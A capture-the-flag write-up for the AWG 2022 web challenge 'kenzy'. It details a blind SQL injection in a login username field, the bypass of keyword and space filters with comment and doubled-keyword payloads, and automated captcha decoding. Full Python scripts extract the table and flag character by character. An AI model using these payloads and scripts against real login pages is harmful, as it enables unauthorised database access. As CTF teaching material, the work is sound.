4 minute read

   
CTF name AWG 2022
challenge kenzy
category web
about SQL injection
description captcha is not that secure
points 900
team 0xCha0s

Discovery

we are introduced with this page which takes username ,password and the Captcha

error

If we check the source code we can notice this comment

        <!-- Username =====> admin -->

we can also find the endpoint which generates the captcha each time we request it different captcha is assigned

http://34.175.249.72:60001/scripts/captcha.php

Let’s check the application by submitting the admin as a username and any password with a valid captcha

error

It returns an invalid username or password because we don’t really know the correct password and default credentials don’t work

as we want to be able to login without password , we should think of SQL injection.

error

trying a basic payload at the password we can see this result which is a great hint for SQLi , we should be in the correct path but this page doesn’t reveal much.

error

Trying some payloads in the password filed wasn’t really helpful as when we tried admin' OR 1=1# it returns same response for 1=1 and 1=2 . so it doesn’t work really well. we can take a look at the username field.

Trying username=admin' OR 1=1# we got this response

 {"Username":"admin'1=1#","status":"statement error"}

we can see the OR is removed and the spaces as well ! , same thing with the AND

-> Bypass filters :

The most famous bypass for the spaces filter is replacing it with /**/ , and we can try use OORR instead of OR so if OR is removed from OORR we got our OR if filters are not so restricted . same for AND we can use AANDND

username=admin'/**/AANDND/**/1=1#

and we got the wished results

error

To make sure we have a valid Blind SQL injection we should be able to control input to trigger 2 different responses one for the True case and The False one.

Trying same payload with 1=2 to be

username=admin'/**/AANDND/**/1=2#

we will get this response , so we can control this input !

{
  "Username": "admin'/**/AND/**/1=2#",
  "status": "Invalid username or password"
}

it will be a tedious process to write the captcha each time with each request , specially blind sqli will issue a lot of requests so we need to build some sort of python script to automate this process

Exploitation

First we need to parse the captcha somehow , we can try issue a request to /scripts/captcha.php to see if the response contains the captcha as text.

error

and indeed it sends the captcha base64 encoded , so we can parse it easily and get the value .

import requests
import base64

s = requests.Session()
url = "http://34.175.249.72:60001/scripts/captcha.php"
r = s.get(url)
captcha = str(r.content).split(':')[-1].replace('"','').replace("'",'')
captcha_decode = base64.b64decode(base64.b64decode(captcha)).decode('utf-8')
print(captcha_decode)

This code will parse the captcha and get us the decoded value which we need during the login process. now we need to send another request to the login page to see the response

url2 = 'http://34.175.249.72:60001/index.php'
payload = f"admin' AND 1=1#".replace(' ','/**/').replace('AND','ANANDD')
data = {'username' :payload,
	    'password': "admin"  ,
	    'captcha' : captcha_decode ,
	    'send' :'Send'
		}
r2 = s.post(url2 , data=data )
print(r2.text)

assembling the 2 code snippets above we will see the exploit works as expected indeed , now we can start constructing our query to retrieve table name and the flag content.

import requests
import base64
from urllib.parse import quote

table=""
counter = 1

flag = True
while flag :
    s = requests.Session()
    flag = False
    for i in range (32,126) :
        url = "http://34.175.249.72:60001/scripts/captcha.php"
        r = s.get(url)
        captcha = str(r.content).split(':')[-1].replace('"','').replace("'",'')
        captcha_decode = base64.b64decode(base64.b64decode(captcha)).decode('utf-8')
        url2 = 'http://34.175.249.72:60001/index.php'
        payload = f"admin' AND {i}=ascii(substr((SELECT table_name FROM information_schema.tables where table_schema=database() limit 1),{counter},1))#".replace(' ','/**/').replace('AND','ANANDD')

        data = {

        'username' :payload,
        'password': "admin"  ,
        'captcha' : captcha_decode ,
        'send' :'Send'
        }

        r2 = s.post(url2 , data=data )
        print(f"{table+chr(i)}")
        if "Treasures" in r2.text :
            table +=chr(i)
            flag = True
            break
    counter +=1

we have just made 2 loops , the Flag variable is important as it will be the factor to stop the code . basically it will allow the while loop to keep iterating if we found a letter in the insider loop but if it did iterate through all characters and doesn’t found a valid one it will not loop again , it will exit.

the query has 2 variables the counter and the ascii representation of the desirable letter .

Running the code above we got the table name is solve .

Getting the Flag

will use same approach to get the flag content , we can guess the column is named flag and we can verify that by using this payload

payload = "admin' AND 'f'=substr((select column_name from information_schema.columns WHERE table_name='solve' limit 1),1,1)#".replace(' ','/**/').replace('AND','ANANDD')

and will find f is valid as the first character in the column_name , we can continue until we find column name is flag indeed

now we can start ask for each character in our flag until we get the last character which should be }

import requests
import base64
from urllib.parse import quote

flag= "ASCWG{"
counter = 7 # start after ASCWG{
while not flag.endswith("}") :
	s = requests.Session()
	for i in range (31,126) :
		url = "http://34.175.249.72:60001/scripts/captcha.php"
		r = s.get(url)
		captcha = str(r.content).split(':')[-1].replace('"','').replace("'",'')
		captcha_decode = base64.b64decode(base64.b64decode(captcha)).decode('utf-8')
		#print(captcha_decode)
		url2 = 'http://34.175.249.72:60001/index.php'
		payload = f"admin' AND {i}=ascii(substr((select flag from solve limit 1),{counter},1))#".replace(' ','/**/').replace('AND','ANANDD')
		data = {
	    'username' :payload,
	    'password': "admin"  ,
	    'captcha' : captcha_decode ,
	    'send' :'Send'
		}
		r2 = s.post(url2 , data=data )
		#print(r2.text)
		print(f"{flag+chr(i)}")
		if "Treasures" in r2.text :
			flag +=chr(i)
			break
	counter +=1

Running the script now

error

and after some time we will get our flag eventually which is

ASCWG{23fsdc$@#EAScasq12_hard}

error